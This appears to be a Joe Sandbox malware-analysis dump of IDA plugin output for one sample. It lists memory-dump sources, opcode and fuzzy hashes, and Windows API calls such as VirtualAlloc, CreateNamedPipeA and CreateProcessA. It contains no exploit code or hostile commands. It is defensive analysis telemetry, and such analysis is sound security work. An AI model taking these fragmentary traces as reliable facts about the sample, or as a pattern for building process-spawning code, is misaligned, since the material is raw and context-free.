                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AttributesFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3188754299-0
                                                                                                                                                                                                                                      • Opcode ID: 699a035a793c66476b33cfcb292e18e8433149420fa0246697406cd7a61acf8b
                                                                                                                                                                                                                                      • Instruction ID: 53db4a1afaa3b7bebcc80daf879f764776582c58df104e6651e2d127eece83ed
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 699a035a793c66476b33cfcb292e18e8433149420fa0246697406cd7a61acf8b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 48C08CE03222001A9E60A6BD2CC551F06CC891423A3A41E3BB129EB2E2D23D88162818
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A6D4,0040CC80,?,00000000,?), ref: 00406EDD
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 823142352-0
                                                                                                                                                                                                                                      • Opcode ID: d487f09bce5ab2446fefe52ff91139140134d323c8d44495a9ab4cbc0f9c4527
                                                                                                                                                                                                                                      • Instruction ID: fbce42704b7dd2fd8be74a622cf743b4adaa06f64be9adac3ea2875d17ee2119
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d487f09bce5ab2446fefe52ff91139140134d323c8d44495a9ab4cbc0f9c4527
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EAC048A13C130032F92035A60C87F16008C5754F0AE60C43AB740BF1C2D8E9A818022C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetEndOfFile.KERNEL32(?,?,0045C192,00000000,0045C31D,?,00000000,00000002,00000002), ref: 00450933
                                                                                                                                                                                                                                        • Part of subcall function 004506B4: GetLastError.KERNEL32(004504D0,00450776,?,00000000,?,0049799C,00000001,00000000,00000002,00000000,00497AFD,?,?,00000005,00000000,00497B31), ref: 004506B7
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileLast
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 734332943-0
                                                                                                                                                                                                                                      • Opcode ID: dfd6122944db5b319254e7b77af95d7469dcf5406d44b15aeae4525e96e42585
                                                                                                                                                                                                                                      • Instruction ID: 9573b676cf6dd5fef234c73c81a1a5d02d78d5ca05287b50762f3c98dcfac2da
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dfd6122944db5b319254e7b77af95d7469dcf5406d44b15aeae4525e96e42585
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1AC04CA5700211479F10A6BA85C1A0662D86A5D3157144066BD08CF207D668D8148A18
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(00000000,?,0049792A,00000000,00497AFD,?,?,00000005,00000000,00497B31,?,?,00000000), ref: 004072B3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CurrentDirectory
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1611563598-0
                                                                                                                                                                                                                                      • Opcode ID: 9cfe1b671e2ded52e2a4f1899edd371c25323ab6eac1b77aed394817f5a1d109
                                                                                                                                                                                                                                      • Instruction ID: 2ee9fcf0c2ecb8048618371478a38130c752a95b947e2a8aefd026f579ab26ad
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9cfe1b671e2ded52e2a4f1899edd371c25323ab6eac1b77aed394817f5a1d109
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 33B012E03D120A2BCA0079FE4CC192A00CC46292163401B3B3006EB1C3D83DC8180824
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(?,0042E40D), ref: 0042E400
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorMode
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2340568224-0
                                                                                                                                                                                                                                      • Opcode ID: cb8e2ebd86b0ac1182f6c4657d989dfa6a466ad308997f4b3834ff3b1e7758f7
                                                                                                                                                                                                                                      • Instruction ID: 426ac138898b17598b25982f2c454791bd479401c65f9a69ae9baa170422678e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cb8e2ebd86b0ac1182f6c4657d989dfa6a466ad308997f4b3834ff3b1e7758f7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CDB09B7670C6105EE709D6D5B45552D63D4D7C57207E14477F010D2581D57D58054E18
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DestroyWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3375834691-0
                                                                                                                                                                                                                                      • Opcode ID: 1244af60e57b01067fe56da529b9c4312cbd500fa9ed17bad69dff1823a021af
                                                                                                                                                                                                                                      • Instruction ID: 4f6e5339ba6c71e81ef5aec1f6829bfe42d3c8de95bc03762545e97b2cddf6f9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1244af60e57b01067fe56da529b9c4312cbd500fa9ed17bad69dff1823a021af
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1AA00275501500AADA00E7B5D849F7E2298BB44204FD905F9714897056C57C99008B55
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 4b311c6ba27037e114d2a0e0a4cc9575de8b4ed7f96be8eb5d2287752a4e0dd9
                                                                                                                                                                                                                                      • Instruction ID: 41a6872630840156d23f43a697f0b10540748f54e9aa1b8241e7bbe25a2b1888
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4b311c6ba27037e114d2a0e0a4cc9575de8b4ed7f96be8eb5d2287752a4e0dd9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 73517574E002099FDB00EFA9C892AAFBBF5EB49314F50817AE500E7351DB389D41CB98
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,0047DA68,?,?,?,?,00000000,00000000,00000000,00000000), ref: 0047DA22
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ByteCharMultiWide
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 626452242-0
                                                                                                                                                                                                                                      • Opcode ID: f00937e419430fadacdfb08ba868c06bfaea8747007b4ff93a078d6954f67ca3
                                                                                                                                                                                                                                      • Instruction ID: f29de2ad8c50687240b36adc22138c5273adba91495e2343049bdb371ee5aac2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f00937e419430fadacdfb08ba868c06bfaea8747007b4ff93a078d6954f67ca3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A051B6B0A14214AFDB10DF54D8C4B9ABBF8EF19308F108077E944A7391D738AE45CB6A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EDA4,?,0042388F,00423C0C,0041EDA4), ref: 0041F3E2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                      • Opcode ID: f624f178b2757757f6ee0ed82108e7e17b49aa81eb1cfd09d0e3ddd3732ee692
                                                                                                                                                                                                                                      • Instruction ID: 3312bc658de40493dbbbdb628fa1ac862c14c743cb2aabe02eeb7d71ec829e14
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f624f178b2757757f6ee0ed82108e7e17b49aa81eb1cfd09d0e3ddd3732ee692
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D5115A752007059BCB20DF19D880B82FBE5EF98390F10C53BE9688B385D3B4E8458BA9
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,0045302D), ref: 0045300F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1452528299-0
                                                                                                                                                                                                                                      • Opcode ID: 796ee09302341f2f0fe022b6b7ad64e2259239b3e6510a293da86372227c0e6a
                                                                                                                                                                                                                                      • Instruction ID: b902f5f71593d0acd8113edc39c0d5725662cc955bae9521e0e34912f41e4d76
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 796ee09302341f2f0fe022b6b7ad64e2259239b3e6510a293da86372227c0e6a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 850170356042486FC701DF699C008EEFBE8EB4D76171082B7FC24C3382D7345E059664
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • VirtualFree.KERNEL32(?,?,00004000,?,?,?,?,?,00401973), ref: 00401766
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                      • Opcode ID: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
                                                                                                                                                                                                                                      • Instruction ID: fd45504e6079eb3c344fd15592bdf3984e08e9418c18d248e8b2091ea2ac4f2a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A10120766443148FC3109F29EDC0E2677E8D794378F15453EDA85673A1D37A6C0187D8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseHandle
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2962429428-0
                                                                                                                                                                                                                                      • Opcode ID: 11f5b55454e2001d57305e4d26194660ee260494afc1ae4151642f59c6b90a28
                                                                                                                                                                                                                                      • Instruction ID: 073c3129693101c5e7833b7ffa09eca8aa7a1e81ff9bb2ce6bcaaab03392c7d4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 11f5b55454e2001d57305e4d26194660ee260494afc1ae4151642f59c6b90a28
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetVersion.KERNEL32(?,00418FF0,00000000,?,?,?,00000001), ref: 0041F126
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F142
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F14E
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F15C
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F18C
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1B5
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1CA
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1DF
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1F4
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F209
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F21E
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F233
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F248
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F25D
                                                                                                                                                                                                                                      • FreeLibrary.KERNEL32(00000001,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F26F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
                                                                                                                                                                                                                                      • String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
                                                                                                                                                                                                                                      • API String ID: 2323315520-3614243559
                                                                                                                                                                                                                                      • Opcode ID: 62814c6def9f01bce39a36d2c4270fbdb1234b3c2cb706e68bb71ccad2797809
                                                                                                                                                                                                                                      • Instruction ID: e724c2aa341d6685c6ab1c4031cb88844a897dd828fe35f3324890dc483947ec
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 62814c6def9f01bce39a36d2c4270fbdb1234b3c2cb706e68bb71ccad2797809
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8E314FB2640700ABEB01EBB9AC46A6B3794F328724741093FB508D7192D77C5C55CF5C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0045847F
                                                                                                                                                                                                                                      • QueryPerformanceCounter.KERNEL32(020B3858,00000000,00458712,?,?,020B3858,00000000,?,00458E0E,?,020B3858,00000000), ref: 00458488
                                                                                                                                                                                                                                      • GetSystemTimeAsFileTime.KERNEL32(020B3858,020B3858), ref: 00458492
                                                                                                                                                                                                                                      • GetCurrentProcessId.KERNEL32(?,020B3858,00000000,00458712,?,?,020B3858,00000000,?,00458E0E,?,020B3858,00000000), ref: 0045849B
                                                                                                                                                                                                                                      • CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 00458511
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,020B3858,020B3858), ref: 0045851F
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,C0000000,00000000,00499B10,00000003,00000000,00000000,00000000,004586CE), ref: 00458567
                                                                                                                                                                                                                                      • SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,004586BD,?,00000000,C0000000,00000000,00499B10,00000003,00000000,00000000,00000000,004586CE), ref: 004585A0
                                                                                                                                                                                                                                        • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                                                                                                                                                                      • CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00458649
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0045867F
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF,004586C4,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 004586B7
                                                                                                                                                                                                                                        • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
